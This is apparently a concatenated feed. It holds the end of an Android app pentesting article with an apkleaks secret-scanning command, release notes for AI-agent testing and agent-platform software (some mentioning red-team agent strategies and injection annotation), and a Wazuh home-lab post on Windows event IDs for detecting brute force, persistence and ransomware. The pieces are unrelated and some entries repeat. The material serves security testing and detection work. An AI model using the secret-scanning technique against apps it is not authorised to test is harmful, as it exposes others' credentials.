• apkleaks for automated secret scanning — Running apkleaks -f target.apk -o leaks.jsonautomatically greps for API keys, tokens, and credentials across decompiled output. Faster than manual grep in jadx.

References:

Here are many references that you can read.

• GitHub — imran-parray/Mind-Maps: Mind-Maps of Several Things
• https://github.com/DevHackz/Android-Pentesting
• https://github.com/dn0m1n8tor/AndroidPentest101
• https://github.com/tanprathan/MobileApp-Pentest-Cheatsheet
• https://github.com/Hrishikesh7665/Android-Pentesting-Checklist
• https://github.com/B3nac/Android-Reports-and-Resources
• https://xmind.app/m/GkgaYH/#

Follow me on X and LinkedIn

Android App Penetration Testing: From APK Decompilation to Runtime Exploitation [Tools and Labs] was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Bug Fixes

• deps: close 16 npm security alerts in scenario examples (#637) (ced16fe)
• deps: close 25 npm security alerts in docs and the JS SDK (#620) (ca91380)
• deps: close CRITICAL shell-quote and uuid alerts in JS SDK (#636) (abdc38f)
• voice/#623: reframe realtime agent audio turns so the voiced sim does not echo them (#653) (9302877)
• voice/sdk/#451: stop re-stringifying input_audio array in event-reporter (#639) (d5188d3)
• voice/sdk/#451: stop re-stringifying input_audio array in event-reporter (see+listen) (d5188d3)
• voice+judge: surface dropped model tool calls (#630 + #631) (#635) (de60f82)
• voice: hosted ElevenLabs single-exchange ceiling — docs + enriched timeout error (#643) (aae16be)
• voice: surface tool-only realtime turns (no audio chunk) (#647) (6041447)

Miscellaneous

• deps/#608: migrate elevenlabs@1.59.0 → @elevenlabs/elevenlabs-js (#611) (6498df4)
• examples/voice/#486: retire legacy gpt-4o-audio-preview surface, migrate supported audio examples to gpt-audio-mini (#612) (1ebdd1c)

Documentation

• voice/#606: document STT/TTS model choices as deliberate current-gen (#610) (6211df3)

Code Refactoring

• #518: move capability-matrix doc assertion to dedicated voice-docs suite (#550) (68df34c), closes #518

Features

• voice/#597: voice-mode user-simulator prompt — spoken sentences, not telegraphic (#641) (3a7f660)

Bug Fixes

• #221: return actual conversation in ScenarioResult.messages instead of judge context (#553) (b32125f)
• #496: stop str()-coercing multimodal content in OTel trace + red-team refusal detection (#546) (83842e1)
• deps: close 16 npm security alerts in scenario examples (#637) (ced16fe)
• voice/#493: keepalive-aware recv_audio — tolerate silent-but-pinging stretches (#649) (1e6e1f3)
• voice/#498: surface attributable first-chunk timeout (phase + timeout + cause) (#652) (02e3e3e)
• voice/#623: reframe realtime agent audio turns so the voiced sim does not echo them (#653) (9302877)
• voice: surface tool-only realtime turns (no audio chunk) (#647) (6041447)

Miscellaneous

• examples/voice/#486: retire legacy gpt-4o-audio-preview surface, migrate supported audio examples to gpt-audio-mini (#612) (1ebdd1c)

Highlights

• Security boundaries are substantially tighter across transcripts, sandbox binds, host environment inheritance, MCP stdio, Codex HTTP access, native search policy, elevated sender checks, deleted-agent ACP bypasses, loopback tools, Discord moderation, and Teams group actions; exec approvals now fail closed on timeout. (#91529, #91618, #91615, #91619, #91741, #91745, #91746, #91748, #91749, #91750, #91751, #91752, #91763, #89938) Thanks @joshavant, @pgondhi987, @mmaps, @eleqtrizit, @shakkernerd, and @drobison00.
• Telegram delivery is safer and more coherent: account-scoped topics route to the right agent, streamed text survives tool calls, /compact works on generic ingress, callback handling uses concrete APIs, draft chunking is shared, durable dispatch dedupe moved into the SDK, and unauthorized DM text stays out of cache and prompt context. (#91189, #88682, #89588, #90212, #91876, #91874, #91904, #91478, #91915) Thanks @codysai001, @alexzhu0, @joelnishanth, @snowzlm, @obviyus, and @sallyom.
• iMessage recovery and delivery now cover always-on inbound restart, durable echo markers, block streaming, idle approval discovery, hardened outbound transport, and actionable inbound startup diagnostics. (#91335, #91449, #88969, #88530, #91783, #91785) Thanks @omarshahine, @jmissig, and @colmbrogan.
• Browser and MCP connectivity gained existing-session CDP support, discovered WebSocket validation, default-profile cdpUrl handling, safer browser-output boundaries, Streamable HTTP loopback transport, corrected OAuth/SSE authorization handling, and broader schema compatibility. (#91422, #89851, #91736, #91747, #91451, #80143) Thanks @pgondhi987, @anagnorisis2peripeteia, @lifuyue, @eleqtrizit, @LiuwqGit, and @HemantSudarshan.
• Control UI startup and first-reply latency are lower through cached model metadata, removal of the startup catalog wait, lazy slash-command loading, and first-event tracing with slow-reply diagnostics. (#91531, #91538, #91568, #91583, #91598)
• Provider support expands with OpenRouter OAuth onboarding and Claude Fable 5 adaptive thinking, while Codex sessions keep correct compaction ownership, local models skip guardian review, dynamic tool progress normalizes cleanly, and Gemma 4 reasoning replay is preserved. (#91830, #91882, #91590, #88630, #88768, #91696) Thanks @Patrick-Erichsen, @joshavant, @bdjben, and @Coder-Wangyankun.

Changes

• CLI progress: emit Claude CLI commentary progress events and bridge inter-tool commentary into channel progress without exposing internal protocol scaffolding. (#89834, #90883) Thanks @anagnorisis2peripeteia.
• Observability: allow trusted diagnostics channels to capture tool input/output content, add first-assistant-event traces, and warn on slow initial replies. (#91256, #91568, #91583) Thanks @amknight.
• Plugins/ClawHub: dogfood reusable package publishing, let dry runs skip publish approval, allow declared installed trusted hooks, report managed plugin version drift, and warn instead of failing on retired Skill Workshop configuration. (#91574, #91591, #90004, #90927, #90838) Thanks @Patrick-Erichsen, @brokemac79, and @lonexreb.
• Memory/providers: move the local llama.cpp runtime into its provider plugin, batch embeddings across files, persist the agent model catalog cache, and keep QMD JSON search one-shot while filtering stale REM recall previews. (#91324, #89138, #90457, #91837, #91851) Thanks @osolmaz, @mushuiyu886, @ai-hpc, and @TurboTheTurtle.
• Channels/mobile: add the QQBot group mention toggle, improve iPad and iPhone control surfaces, and expose the active connection host in the TUI footer. (#91423, #91557, #89909) Thanks @cxyhhhhh, @Solvely-Colin, and @baskduf.
• Performance: prewarm TUI runtime plugins, deduplicate plugin auto-enable fanout, trim dense text-delta snapshots, and reuse prepared startup model metadata. (#90782, #89978, #91580, #91531) Thanks @RomneyDa and @ai-hpc.

Fixes

• Agent/session recovery: drop stale approval follow-ups after session rebind, remove drained reply-queue items by identity, recover stale main and visible replies, preserve Codex context-engine compaction ownership, lower the default compaction timeout to 180 seconds while respecting explicit configuration, and keep provider-failure terminal lifecycle state correct. (#85679, #91450, #91566, #91840, #91590, #91361, #91895) Thanks @openperf, @yetval, @joshavant, @wangmiao0668000666, and @TurboTheTurtle.
• User-visible content boundaries: suppress Codex/Harmony protocol artifacts, neutralize browser and LanceDB memory media directives, redact transcript images, and preserve native /compact replies through source suppression. (#89151, #91422, #91425, #91529, #90212) Thanks @joelnishanth, @pgondhi987, @joshavant, and @snowzlm.
• Channel delivery: keep WhatsApp captured replies attached to the successor controller after restart, retry Feishu rate limits, preserve Mattermost thread replies, canonicalize LINE webhook paths, restore Discord reply hydration and runtime timeout exports, and show OpenAI Realtime WebRTC assistant transcripts. (#85823, #89659, #91684, #91649, #90263, #91686, #90426) Thanks @itsuzef, @ladygege, @jacobtomlinson, @fuller-stack-dev, and @shushushv.
• Cron: cancel active task runs cleanly, preserve terminal timeout/cancel state, and recover no-deliver tool warnings instead of silently losing the outcome. (#90666, #90678) Thanks @ai-hpc.
• Gateway/config/auth: share the approval runtime socket token, replace arrays explicitly in config.patch, skip the deleted-agent guard only for valid ACP harness sessions, surface headless LaunchAgent state, verify SQLite auth migration before cleanup, and arm QMD startup maintenance. (#87105, #91551, #91219, #91614, #91740, #91978) Thanks @fuller-stack-dev and @scotthuang.
• Providers/Codex: clarify quota errors, restore the Codex synthetic usage line, canonicalize Codex protocol assets, require API-key auth for realtime voice, normalize ACP model refs, preserve Gemma 4 reasoning_content, and avoid guardian review for local models. (#91390, #91709, #91507, #91567, #88630, #91696) Thanks @hxy91819, @brokemac79, @RomneyDa, @joshavant, and @Coder-Wangyankun.
• Updates/builds: recover package Gateway restarts after refresh failure, expose plugin convergence repair, fall back to Corepack in PATH-less pnpm environments, seed the correct Docker store packages, and keep ClawHub dry-run and publish paths reusable. (#91581, #91599, #91547, #91591) Thanks @fuller-stack-dev, @sallyom, and @Patrick-Erichsen.
• UI: require explicit user intent before opening chat sessions and drain restored chat queues after session switches. (#91480) Thanks @TurboTheTurtle.
• Android: avoid the dataSync foreground-service type for persistent nodes. (#80082) Thanks @davelutztx.
• Native hooks: bound relay lifetimes so abandoned native hook connections cannot linger indefinitely. (#91550) Thanks @joshavant.

Features

• #318: add context param to JudgmentRequest for extra judge evaluation input (#554) (1947824)

Bug Fixes

• #191: rename --debug to --scenario-debug in pytest plugin to avoid file-overwrite (095360e), closes #191
• #191: rename --debug to --scenario-debug in pytest plugin to prevent file overwrite (#551) (095360e)
• #454: add liveness check + auto-restart to requires_pipecat_bot fixture (#557) (a9bb3f9)
• #454: add liveness check and auto-restart to requires_pipecat_bot fixture (a9bb3f9)
• #500: include exception type name when str(e) is empty in _call_agent re-raise (#547) (acfbda9), closes #500
• #501: set PYTHONUNBUFFERED=1 on pipecat bot subprocess to prevent log loss on crash (#548) (a56720d), closes #501
• #502/#493: raise VoiceAgentAdapter.response_timeout default to 60s (38172ee)
• #502: raise VoiceAgentAdapter.response_timeout default from 30s to 60s (#558) (38172ee)
• executor: suppress pydantic warnings during agent await, not just creation (#541) (9e55f7a)
• voice/#350: post-merge cleanup — capability AC, disconnect logging, doc drift, e2e wedge (#492) (71dd5ed)
• voice/#602: migrate OpenAIRealtimeAgentAdapter to GA Realtime wire protocol (#604) (3765f3c)
• voice: tolerate empty-content user/system turns in snapshot emitter (#600) (#603) (0f5555d)

Miscellaneous

• #489: drop stale Python 3.8/3.9 classifiers from pyproject.toml (#555) (eb33452)
• main-side cleanup — docs + spec + python/TS parity (#586) (371f94c)
• scrub vestigial AC-reference tags from code + specs (#594) (f8c5621)
• scrub vestigial AC-reference tags, keep descriptions (f8c5621)

Documentation

• voice/#606: document STT/TTS model choices as deliberate current-gen (#610) (6211df3)

Features

• #318: add context param to JudgmentRequest for extra judge evaluation input (#554) (1947824)
• add GOAT strategy with dynamic technique selection for RedTeamAgent (#346) (2896c97)
• ci/#364: add pr-auto-approve.yml as passive observer (PR #1 of 4) (#485) (4d84597)
• red-team: zero-friction report dashboard — auto-save + scenario redteam-report CLI (2896c97)
• test/#516: bind PR #511 voice scenarios via vitest-cucumber (retrofit PR-A) (#517) (c247f42)
• typescript-sdk/#372: voice agent contract surface (types only, PR1 of N) (#511) (9216d35)
• typescript-sdk: voice agent testing — consolidated clean stack (#561) (5847c4b)

Bug Fixes

• deps: bump fast-uri to >=3.1.2 for high severity CVEs (#450) (474ab65)
• deps: bump fast-uri to >=3.1.2 to resolve high severity vulnerabilities (474ab65)
• deps: bump liquidjs override to >=10.26.0 to close RCE/ReDoS alerts (#591) (daaf9cc)
• deps: bump protobufjs to >=7.5.6/>=8.0.2 for high severity CVEs (#463) (f008161)
• deps: bump protobufjs to >=8.0.2 for 4 high severity CVEs (#462) (e2c0499)
• deps: override hono to >=4.12.18 for JWT NumericDate validation CVE (#477) (d81ff1a)
• deps: override langsmith to >=0.6.0 for CVE fix (#471) (4e5237e)
• deps: override langsmith to >=0.6.0 for prompt deserialization CVEs (4e5237e)
• deps: override minimatch to >=9.0.6 (CVE-2026-26996) (#395) (ceb0b59)
• deps: override qs to >=6.14.2 for arrayLimit bypass DoS CVE (#482) (51a2b6d)
• deps: resolve 4 high-severity Dependabot security alerts (#393) (97f257d)
• examples: stabilize custom LLM judge criteria matching (#396) (f4b536c)
• examples: use positional index matching in custom judge examples (f4b536c)
• judge: harden forceVerdict so discovery tools cannot leak (JS + Python) (#377) (0e2859f)
• red-team: annotate H_attacker when post-hoc injection fires (#326, #334) (2896c97)
• security: bump liquidjs override to fix memoryLimit bypass, memory amplification, and DoS CVEs (25ba99d)
• security: bump liquidjs to fix 4 additional high-severity CVEs (#412) (25ba99d)
• security: delete orphaned vitest lockfile recreated during rebase (ea8a19c)
• security: delete orphaned vitest lockfile to fix 8 Dependabot alerts (#426) (ea8a19c)
• security: patch @modelcontextprotocol/sdk ReDoS, DNS rebinding, and data leak (#410) (b993066)
• security: patch @modelcontextprotocol/sdk ReDoS, DNS rebinding, and data leak CVEs (b993066)
• security: patch critical CVEs in protobufjs and handlebars (#390) (de89d50)
• security: patch critical vulnerabilities in protobufjs and handlebars (de89d50)
• security: patch CVE-2026-27903 in minimatch (#398) (b61cc60)
• security: patch flatted prototype pollution via parse() (#421) (3a20e6c)
• security: patch langchain serialization injection vulnerability (#420) (89dd094)
• security: patch path-to-regexp DoS in openai-realtime-demo (c6e55b0)
• security: patch path-to-regexp DoS in openai-realtime-demo (CVE-2026-4926) (#428) (c6e55b0)
• security: patch path-to-regexp DoS via sequential optional groups (#416) (752539a)
• security: patch rollup arbitrary file write via path traversal (#399) (55a0259)
• security: patch rollup path traversal CVE (>= 4.0.0, < 4.59.0) (55a0259)
• security: patch trim-newlines uncontrolled resource consumption (#415) (1c507c3)
• security: patch vite server.fs.deny bypass and WebSocket file read CVEs (#419) (7bb7af9)
• security: upgrade picomatch, @hono/node-server, and glob to fix CVEs (#394) (4395e52)

Miscellaneous

• deps: bump @ungap/structured-clone past 1.3.1 (CWE-502) (#544) (f716e46)
• deps: bump pnpm/action-setup from 2.4.1 to 5.0.0 (#300) (053cc3a)
• deps: remove unused nanoid-cli devDep from vitest examples (#422) (d4a40a5)
• main-side cleanup — docs + spec + python/TS parity (#586) (371f94c)
• tests: remove flaky 10-turn travel-planning example test (#423) (bbe86de)
• tests: remove flaky live-LLM travel-agent example test (ac911ff)
• tests: remove flaky travel-agent example test (#425) (ac911ff)
• tests: remove no-op example tests + audit notes (#424) (947f219)
• tests: remove no-op example tests that always pass or are skipped (947f219)

Code Refactoring

• test/#522: move instanceof assertions from Given to Then in voice contract surface (#559) (c8cca4e)

By Ronak Mishra · Security+ Certified · Wazuh Home Lab

Most cybersecurity courses hand you a list of Windows Event IDs and tell you to memorize them. What they don’t show you is what these events actually look like when they fire — the raw fields, the timestamps, the account names, the parent processes.

I set up a home lab running Wazuh SIEM connected to a Windows 11 agent and deliberately triggered each of these events to see exactly what gets captured. Every screenshot in this post is from that lab. No stock images, no theory — just real detections.

Here are the 5 event IDs that matter most when something bad is happening on a Windows machine.

Event ID 4625 Failed logon attempt

“An attacker is outside your network trying passwords one by one, hoping something works. This is what it looks like inside your SIEM before they get in.”

Event ID 4625 fires every time a Windows logon attempt fails. One or two of these is completely normal — people mistype passwords. But when you see a cluster of them hitting in rapid succession targeting the same account, that’s a brute force attack in progress.

The fields that matter most: targetUserName (who they’re targeting), subStatus (why it failed), and logonType (how they’re trying to get in). SubStatus code 0xc0000064 means the targeted user doesn’t even exist — a classic sign of username enumeration before a brute force.

I simulated this by running repeated failed logon attempts against a non-existent account called “fakeuser” on my Windows 11 VM. Here’s what Wazuh captured:

Expanding one of those alerts reveals exactly what happened at the field level — the targeted account name, the failure reason code, and the plain-English confirmation from Windows itself:

Event ID 4688 New process created

“Malware can’t do anything without running a process. This event fires the moment something executes — including the tools attackers use to steal credentials or move through a network.”

Every time a new process starts on Windows, Event ID 4688 fires — if process creation auditing is enabled. The key isn’t just what process ran, it’s what spawned it. The parent-child relationship tells the real story.

A legitimate user opening Notepad looks completely different from malware spawning PowerShell from inside a Word document. In an attack scenario, watch for: PowerShell or cmd spawned by Office applications, encoded command line arguments, or executables running from temp folders.

I triggered this by launching cmd, PowerShell, and Notepad from my Windows VM. Wazuh captured 345 process creation events — the spike you see in the chart is the exact moment those commands ran:

The expanded view shows the full execution chain in one log entry — exactly what process ran, what launched it, and who triggered it:

Event ID 4720 User account created

“The attacker is already inside. Now they’re creating a backdoor account so they can return even if their original access gets cut off.”

Event ID 4720 fires whenever a new local or domain user account is created. In a normal environment this should be rare and expected — IT provisioning a new employee, for example. If you see this event at 2am, created by a non-admin process, with no change ticket backing it up, that’s a persistence mechanism being installed.

This maps directly to MITRE ATT&CK T1136 — Create Account. It’s one of the most reliable persistence indicators in Windows environments because attackers almost always need a fallback entry point.

I created a test account called “testattacker” using PowerShell to simulate this. Wazuh caught it immediately — a single isolated event with zero noise around it:

The expanded view shows every detail Wazuh captured — the account name, who created it, and the event ID confirmed in yellow:

Event ID 4663 File or object accessed

“Ransomware touches hundreds of files in seconds. A credential-stealing tool targets one specific file. Either way — this event is watching.”

Event ID 4663 logs access attempts to specific files and folders when auditing is enabled. In Wazuh, the File Integrity Monitoring module captures this same behavior in real time — logging every file that gets created, modified, or deleted in monitored directories, including SHA1 and MD5 hashes before and after so you can prove exactly what changed.

Ransomware behavior looks like hundreds of these events firing in rapid sequence across multiple directories. A targeted attack looks like one precise access to a credential store or sensitive config file. Volume and pattern are everything.

My Wazuh FIM is running in realtime mode on monitored directories. I created a file called “you are hacked.txt” to trigger it deliberately. Here’s what got captured the moment that file was created:

How to think about these as a SOC analyst

Knowing what each event ID means in isolation is only half the skill. The real work is correlation — one event rarely tells the full story. Here’s how these connect in real attack scenarios:

• Multiple 4625s from one source followed by a 4624 right after — brute force that succeeded
• 4688 showing PowerShell spawned by an Office application — likely a phishing payload executing
• 4720 outside business hours with no change ticket — unauthorized persistence attempt
• Hundreds of 4663s firing across many files in under 30 seconds — ransomware encryption in progress

That pattern — two or more signals, a time window, a threshold — is the foundation of detection engineering. It’s what separates someone who reads logs from someone who builds detection rules. And it’s exactly the thinking SOC roles are looking for in interviews.

I’m building out more detection scenarios in my home lab and documenting everything as I go — Wazuh, Splunk, MITRE ATT&CK mapping, and more. If you’re on the same path — studying for CySA+, building your first SIEM lab, or working toward your first SOC role — feel free to connect on LinkedIn. Always good to compare notes with people actually doing the work.

5 Windows Event IDs Every SOC Analyst Should Know (With Real Lab Evidence) was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Highlights

• Agents and CLI-backed runtimes recover more cleanly from interrupted tool calls, stale session bindings, compaction handoffs, and media delivery retries. (#88129, #88136, #88141, #88162, #88182)
• Channels and mobile delivery are steadier across Telegram, WhatsApp, iMessage, Slack, Discord, Microsoft Teams, Google Chat, Google Meet, and iOS realtime Talk. (#88096, #88105, #88183, #88231)
• Provider and plugin requests now bound more timers, retries, OAuth/device-code lifetimes, media downloads, local service probes, and generated-content polling paths before they can hang a run.
• Skills, session metadata, gateway runtime state, plugin metadata, memory watchers, and store writes do less repeated work on hot paths while keeping config, dispatch, and Linux file-watch behavior stable. (#89185, #89188, #85351) Thanks @RomneyDa and @NianJiuZst.
• Skills and plugin loading now handle stale disabled snapshots and loader failures more clearly, so channel turns avoid disabled SecretRefs and operators get better recovery guidance. (#79072, #79173) Thanks @zeus1959.
• Workboard, SecretRef plugin manifests, hosted iOS push relay, and external Copilot/Tokenjuice packaging add broader orchestration, integration, and plugin delivery surfaces. (#82326, #87469, #87796, #88107, #88117)
• Skill Workshop now has a fuller Control UI flow with proposal lists, today actions, revision handoff, searchable file previews, review states, locale coverage, and reusable session routing.
• Chat and Control UI startup paths keep sends alive through history loading, stream deltas incrementally, skip markdown work while streaming, keep drafts local while typing, clear the composer after sends, trace first-output latency, prioritize first connect, and expose calmer composer controls. (#88772, #88825, #88998, #89030, #89106) Thanks @vincentkoc and @sallyom.
• Provider coverage and model metadata now include MiniMax M3, account OAuth endpoints, Google/Vertex catalog fixes, OpenRouter SQLite model caching, Copilot Claude 1M capabilities, Foundry reasoning alignment, and OpenAI response replay guards. (#88480, #88512, #88851, #88860)
• iMessage monitor state, inbound queues, and plugin install ledgers moved toward SQLite-backed state so restarts and local monitors recover with less duplicate filesystem scanning. (#88794, #88797)
• Release, CI, Docker, E2E, plugin install, and diagnostics lanes now cap more logs, response bodies, readiness probes, artifact checks, status polling, child workflow waits, docker package cleanup, and rollback snapshots so failures report bounded proof instead of stalling.

Changes

• Docs: add a dedicated Skill Workshop guide covering governed skill creation, reviewable proposals, CLI, Gateway, agent tool behavior, approval policy, support files, and recovery, and refresh the ClawHub showcase cards. (#88734) Thanks @shakkernerd and @vyctorbrzezowski.
• Skills: let the skill_workshop agent tool apply, reject, and quarantine explicit proposals through the guarded review flow. Thanks @shakkernerd.
• Skills: let proposals carry approved support files under standard skill folders, with scanner, hash, and rollback safeguards. Thanks @shakkernerd.
• Skills: let pending proposals be revised in place with versioned, dated proposal frontmatter before approval. Thanks @shakkernerd.
• Skills: add Skill Workshop with pending proposals, CLI/Gateway review actions, rollback metadata, and the skill_workshop agent tool. Thanks @shakkernerd.
• Skill Workshop: add the Control UI navigation, styled dashboard, proposal today view, revision dialog, file preview modal, searchable preview files, reusable session handoff, and localized strings.
• Plugins: externalize Tokenjuice as the official @openclaw/tokenjuice plugin with npm and ClawHub publish metadata.
• Plugins: externalize the GitHub Copilot agent runtime as the official @openclaw/copilot plugin with npm and ClawHub publish metadata.
• iOS: add hosted push relay defaults, realtime Talk playback, and a guarded WebSocket ping path for more reliable mobile sessions. (#88096, #88105, #88231)
• iOS: support native iPad display layouts.
• Workboard: add orchestration primitives and agent coordination tools for multi-agent planning and run tracking. (#87469)
• Workboard: wire task-backed board runs and show task comments in the edit modal.
• Code mode: add internal namespaces for scoped agent/global sessions and exact namespace tool dispatch. (#88043)
• Code mode: add MCP API files and docs for code-mode integrations.
• Control UI: add a Dreaming-tab agent selector and propagate the selected agent through Dreaming status, diary, and diary actions. (#78748) Thanks @stevenepalmer.
• Control UI: add calmer chat composer controls, local draft typing state, and first-output latency instrumentation for active chat entry. (#88772, #88998) Thanks @vincentkoc.
• Plugins: add a SecretRef provider integration manifest contract and extract shared LLM core packages for provider/plugin reuse. (#82326, #88117)
• Plugins: persist the plugin install index in SQLite so installed package lookup survives reloads with less filesystem scanning. (#88794)
• Providers: add MiniMax M3 model support. (#88860)
• Doctor: add disk space health checks and stabilize post-upgrade JSON probes.
• Channels: store inbound queues in SQLite and migrate iMessage monitor state to SQLite-backed tracking. (#88797)
• Skills: add the core skills index and centralize skills runtime loading, status, filtering, and prompt formatting.

Fixes

• Agents/TUI: keep local custom provider runs from loading plugin runtime and auth alias metadata when plugins are disabled.
• Agents/TUI: restore in-flight TUI run switch-back behavior, keep no-policy native hook fallback available, guard vanished workspaces, and keep lightweight isolated subagents lightweight.
• Agents/media: keep async image, music, and video generation starts from ending the Codex turn, so mixed requests can continue with summaries or other work while media renders in the background.
• Agents/Codex: keep public OpenAI API-key profiles from being treated as native Codex app-server auth while preserving persisted Codex OAuth sessions.
• Agents/Codex: stream Codex app-server final-answer partials to live reply previews, preserve ACP metadata in SQLite, prefer real tool results over synthetic repair output, prevent aborted app-server turn handles from lingering, migrate legacy OpenAI Codex lastGood auth state, and preserve workspace/session metadata through ACP runtime refactors. (#88405, #88724, #88730) Thanks @vincentkoc.
• Control UI: keep collapsed tool cards labeled with the tool name and action instead of generic output text. Thanks @shakkernerd.
• Agents/Codex: surface Skill Workshop guidance in Codex app-server prompts when skill_workshop is available. Thanks @shakkernerd.
• Agents/auth: write auth profiles atomically, dispatch auth failures by type, add force re-login recovery, preserve workspaces during state-only uninstall, and compact before oversized turns so recovery paths avoid partial state. (#89181) Thanks @RomneyDa.
• Skills: skip disabled skill env overrides from stale persisted snapshots so disabled skill apiKey SecretRefs cannot abort embedded or channel turns. (#79072, #79173) Thanks @zeus1959.
• CLI: avoid live catalog validation during openclaw agents add, so adding a secondary agent no longer depends on provider catalog availability. (#76284, #88314) Thanks @zhangguiping-xydt.
• CLI: keep plugins list --json on the snapshot-only path so plugin sweeps avoid loading the full runtime status graph.
• CLI/desktop: bridge WSL clipboard operations through the shell, recognize manual-update launchd jobs, and keep machine-readable startup output parseable during progress setup. (#88764, #88689) Thanks @alexzhu0.
• Plugins: make PixVerse external-plugin ClawHub metadata explicit and keep it out of bundled dist builds.
• Plugins: clarify plugin loader failure guidance so missing or incompatible plugin packages point operators at the right repair path.
• Plugins: preserve npm plugin roots after blocked installs, skip plugin-local openclaw peer symlinks during rollback snapshots, relink those peers after restore, isolate cached tool runtime siblings, and isolate web-provider factory failures so one bad plugin does not poison sibling runtime paths. (#77237, #88807)
• Cron: keep SQLite cron migrations compatible with legacy run-log tables, archived job stores, diagnostic cron names, and legacy one-shot delete-after-run behavior. (#88285)
• Cron: keep update delivery validation scoped, harden restart state, and retire MCP runtimes on isolated cron cleanup.
• Memory: serialize QMD update/embed writes per store, warn before gateway watcher FD pressure, reduce Linux watcher fan-out, retry transient FileProvider-backed reads, preserve phase signals on read errors, harden envelope metadata sanitization, and rewrite generated transcript paths on rollover so memory/search state survives concurrent gateway and CLI activity. (#66339, #85931, #89185, #89188, #85351) Thanks @openperf, @amittell, @RomneyDa, and @NianJiuZst.
• Providers: bound generated media downloads from OpenAI, Runway, xAI, MiniMax, BytePlus, DashScope-compatible, FAL, OpenRouter, Google, Vydra, and Comfy providers.
• Providers: resolve Google defaults to google-generative-ai, register Vertex static catalog rows, align Foundry reasoning metadata, skip DeepSeek V4 thinking params on Foundry fallback, use MiniMax account OAuth endpoints, preserve Copilot Claude 1M capabilities, suppress disabled Ollama reasoning output, keep OpenAI stop-finished tool calls, and avoid replay ids when the Responses store is disabled. (#88480, #88512)
• Providers: cap GitHub Copilot OAuth request timeouts before creating abort signals.
• Cron: retry recurring jobs after transient model rate limits before waiting for the next scheduled slot.
• Agents/Codex: keep live session locks during cleanup, recover interrupted CLI tool transcripts, preserve Codex auth and compaction session identity, clear orphan tool state, cap app-server idle timers, and keep media completion delivery retryable. (#88129, #88136, #88141, #88162, #88182)
• Chat/UI: show Gateway chat failures as visible assistant messages in the Control UI instead of only setting an invisible error state.
• Channels: cap Telegram, Discord, WhatsApp, Signal, Feishu, Google Chat, Microsoft Teams, QQBot, Nostr, Zalo, Zalouser, and Nextcloud-style request/retry timers; preserve SMS approval reply routes; and retry WhatsApp QR login 408 timeouts. (#88183)
• Security/config parsing: reject unsafe OAuth/token lifetimes, retry-after delays, inbound timestamps, response body sizes, command timeout config, sandbox observer token TTLs, and gateway WebSocket calls after close.
• Providers/media: cap local service, model, usage, queue, generated media, TTS, music, workflow polling, and provider OAuth request timers across hosted and local providers.
• Release/CI/E2E: bound release candidate reads, beta smoke REST calls, plugin npm verification commands, changelog restore, cross-OS process groups, kitchen-sink and bundled plugin readiness probes, secret-provider probes, Telegram credential timeouts, Control UI i18n and CLI startup metadata generation, Vitest routing, dependency guard admin approvals, child workflow failure detection, docker package cleanup, and mainline test flakes. (#88127, #88137, #88155, #88160, #88966) Thanks @RomneyDa.
• Release/CI/E2E: keep Kitchen Sink live plugin MCP probes resolving source-checkout workspace packages and align the live gauntlet with current Kitchen Sink diagnostics.
• Release/CI/E2E: run the secret-provider integration proof through the repo pnpm runner so native macOS and Windows validation use the hydrated package-manager shim.
• Release/CI/E2E: run the Telegram desktop proof gateway through the repo pnpm runner so native macOS proof uses the hydrated package-manager shim.
• Docs/CI: run Mintlify anchor checks through the repo pnpm runner so docs link validation works when pnpm is only available through the hydrated package-manager shim.
• Agents: keep configured fallback model metadata typed so provider params, context-token caps, and media input limits do not break changed-gate typechecks.
• Agents: accept hidden sessions_send body aliases before validation while keeping the model-facing message schema canonical. (#88229) Thanks @zhangguiping-xydt.
• Chat/UI: preserve startup chat sends during history loading, unblock the initial Control UI chat send, stream chat deltas incrementally, skip markdown parsing while streaming, keep drafts local while typing, guard composer rerenders, honor Chromium executable overrides, and detect system Chromium for E2E. (#88998) Thanks @vincentkoc.
• Channels: preserve long Feishu streaming replies, send visible fallbacks when accepted Feishu turns produce no final reply, tolerate iMessage self-chat timestamp skew, preserve colon-prefixed slash commands in mention parsing, decode Nostr npub allowlists correctly, and suppress raw provider errors during channel delivery. (#87896)
• Config/status/doctor: skip unresolved shell references in state-dir dotenv files, resolve gateway auth secrets during deep status audits, respect explicit PI runtime policy, report runtime tool-schema errors, and keep post-upgrade JSON stable. (#88288)
• Gateway/session state: list commands from the Gateway plugin registry, harden MCP loopback tool schemas, hide phantom agent-store rows from sessions.list, make task persistence failures explicit, and carry session UUIDs on interactive dispatch events.
• OpenAI/TTS: handle speed directives for OpenAI TTS voices. (#74089)
• CI/Crabbox: keep default runner capacity on the Azure credit-backed on-demand D4 lane with the Azure SSH port and a Git-independent full check job, so broad validation avoids low-priority spot quota stalls, hydrate port mismatches, non-Git hydrated workspaces, and stale AWS region hints.
• CI/Crabbox: route Crabbox wrapper and Testbox workflow edits to their regression tests so changed-test gates do not silently run zero specs.
• CI/workflows: route workflow sanity helper edits to their guard tests and cover composite-action input interpolation checks.
• CI/tooling: route CI scope, dependency, changelog, and docs helper edits to their owner tests instead of silently skipping changed-test coverage.
• CI/tooling: route package, release, and install helper edits to their owner tests so changed-test gates cover publish and installer script changes.
• CI/tooling: route shared script library edits through their owner tests so lock, process, safety, and scan helpers do not skip changed-test coverage.
• CI/tooling: skip expensive import-graph scans once a changed diff already requires broad fallback, keeping local changed-test planning fast while still collecting explicit owner tests.
• CI/tooling: route script edits through conventional owner tests when matching test/scripts or src/scripts coverage already exists.
• CI/tooling: honor option terminators in the memory FD repro script so follow-on arguments are not reparsed.
• Release/CI/E2E: assert plugin lifecycle runtime inspect output instead of only capturing it.
• Release/CI/E2E: make gateway-network prove the advertised health RPC and retry early WebSocket closes without burning full open timeouts.
• Release/CI/E2E: honor option terminators across release, Parallels smoke, plugin gauntlet, and extension-memory scripts.
• Release/CI/E2E: fail plugin gateway gauntlet QA chunks when the requested suite summary is missing or invalid.
• Performance: prebuild QA runtime probes with generated plugin assets but without CLI startup metadata.
• Performance: skip declaration bundling for runtime-only CLI startup and gateway watch build profiles.
• Performance: reuse prepared provider handles, strict tool schemas, gateway runtime metadata, session maintenance config, plugin metadata, bundled skill allowlists, package-local plugin artifacts, single-entry store writes, and validated/serialized session prompt blobs.

Highlights

• Agents and CLI-backed runtimes recover more cleanly from interrupted tool calls, stale session bindings, compaction handoffs, and media delivery retries. (#88129, #88136, #88141, #88162, #88182)
